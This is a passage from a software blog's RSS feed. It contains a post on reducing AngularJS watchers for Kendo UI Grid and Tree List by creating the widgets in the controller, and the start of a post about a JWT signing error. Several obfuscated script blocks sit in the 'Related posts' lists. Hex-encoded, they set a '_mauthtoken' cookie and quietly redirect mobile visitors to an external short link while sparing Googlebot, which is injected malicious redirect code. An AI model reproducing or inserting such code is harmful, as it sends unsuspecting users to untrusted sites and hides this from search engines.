)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/" rel="bookmark" title="AngularJS: Sharing data between controllers">AngularJS: Sharing data between controllers </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<p>When you use the Kendo UI Grid or Tree List widgets in an AngularJS application, you will probably notice that with long grids/lists or with many columns, you&#8217;ll end up having quite a few watchers created (basically one watcher per cell). Unfortunately, it is not (yet) possible to use one time binding. The AngularJS documentation recommends keeping the number of watches under 2000 in order not to hurt the application performance (because it otherwise creates a high load during digest cycles).</p>
<p>The reason why so many watches are created is that the Kendo UI directives compile (using $compile) all cells so that you can use angular expression and directives in you column templates.</p>
<p><span style="text-decoration: underline;">Disclaimer</span>: All the instructions below only make sense if you do not need two way binding in your grid or tree list rows. If you do then you actually need these watchers.</p>
<p>Currently, the only way to prevent this is to initialize the Kendo Grid (or Tree List) widgets in you controller instead of using the Kendo directives. i.e. replacing this:</p>
<pre><code class="language-markup">&lt;kendo-treelist
	id="treelist"
	k-options="treelistKendoOptions"
	k-scope-field="treelistScope"
	k-columns="vm.treeListColumns"
	k-auto-bind="false"&gt;
&lt;/kendo-treelist&gt;</code></pre>
<p>By a simple div:</p>
<pre><code class="language-markup">&lt;div id="treelist"&gt;&lt;/div&gt;</code></pre>
<p>And creating the tree list (or the grid) in you controller:</p>
<pre><code class="language-javascript">$("#treelist").kendoTreeList($scope.treelistKendoOptions);</code></pre>
<p>Additionally, you&#8217;ll have to replace attributes you had in your HTML code when using the directive by option or additional code. In my case, I had to move k-auto-bind to the auto-bind property in the options:</p>
<pre><code class="language-javascript">$scope.treelistKendoOptions = {
	...
	autoBind: false,
	...
};</code></pre>
<p>Another attribute we were using is k-scope-field. This attribute defines a scope variable to which the Grid or Tree List should be bound. You can then call methods of the widget in your controller. The same can also be achieved when instantiating the widget from your controller:</p>
<pre><code class="language-javascript">$("#treelist").kendoTreeList($scope.treelistKendoOptions);
$scope.treelistScope = $("#treelist").data("kendoTreeList");</code></pre>
<p>Of course, if you use a Grid and not a Tree List, you&#8217;d use kendoGrid instead of kendoTreeList.</p>
<p>Once you&#8217;ve done this, you&#8217;ll see the number of watchers has greatly reduce. But you might also see that the contents of some columns are broken. This basically happens whenever you use AngularJS expression (e.g. using some methods on the scope) in you column template e.g.:</p>
<pre><code class="language-javascript">template: "&lt;span&gt;{{ versionFormat(dataItem.Version) }}&lt;/span&gt;</code></pre>
<p>Since we&#8217;re not in the Angular world anymore, the templates are not compiled anymore (that&#8217;s after all that&#8217;s what we wanted to prevent). So you&#8217;ll need to add the logic you had in the template to the method defined as data source. In my example above, I&#8217;d call versionFormat for every row and replace dataItem.Version by the output value.</p>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/&amp;t=AngularJS and Kendo UI: Watchers for Grid and Tree List" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/&amp;text=AngularJS and Kendo UI: Watchers for Grid and Tree List" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/&amp;title=AngularJS and Kendo UI: Watchers for Grid and Tree List" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/">AngularJS and Kendo UI: Watchers for Grid and Tree List</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/02/24/angularjs-using-plupload-in-a-dialog/" rel="bookmark" title="AngularJS: Using Plupload in a dialog">AngularJS: Using Plupload in a dialog </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2015/04/21/angularjs-binding-html-code-with-ng-bind-html-and-sce-trustashtml/" rel="bookmark" title="AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml">AngularJS: binding HTML code with ng-bind-html and $sce.trustAsHtml </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2016/07/18/angularjs-sharing-data-controllers/" rel="bookmark" title="AngularJS: Sharing data between controllers">AngularJS: Sharing data between controllers </a></li>
</ol>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://benohead.com/blog/2018/05/29/angularjs-kendo-ui-watchers-grid-tree-list/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey.</title>
		<link>https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/</link>
					<comments>https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/#respond</comments>
		
		<dc:creator><![CDATA[hb]]></dc:creator>
		<pubDate>Tue, 29 May 2018 21:49:42 +0000</pubDate>
				<category><![CDATA[CSharp]]></category>
		<category><![CDATA[Programming]]></category>
		<guid isPermaLink="false">https://benohead.com/?p=9107</guid>

					<description><![CDATA[<p>After updating the Microsoft.IdentityModel.Tokens library we were getting the following error message when creating JWT tokens: System.InvalidOperationException HResult=0x80131509 Message=IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey. Source=Microsoft.IdentityModel.Tokens StackTrace: at Microsoft.IdentityModel.Tokens.AsymmetricSignatureProvider..ctor(SecurityKey key, String algorithm, Boolean willCreateSignatures) at Microsoft.IdentityModel.Tokens.CryptoProviderFactory.CreateSignatureProvider(SecurityKey key, String algorithm, Boolean willCreateSignatures) at Microsoft.IdentityModel.Tokens.CryptoProviderFactory.CreateForSigning(SecurityKey key, String algorithm) at System.IdentityModel.Tokens.Jwt.JwtSecurityTokenHandler.CreateEncodedSignature(String input, SigningCredentials [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/05/29/idx10638-cannot-created-the-signatureprovider-key-hasprivatekey-is-false-cannot-create-signatures-key-microsoft-identitymodel-tokens-rsasecuritykey/">IDX10638: Cannot created the SignatureProvider, &#8216;key.HasPrivateKey&#8217; is false, cannot create signatures. Key: Microsoft.IdentityModel.Tokens.RsaSecurityKey.</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->

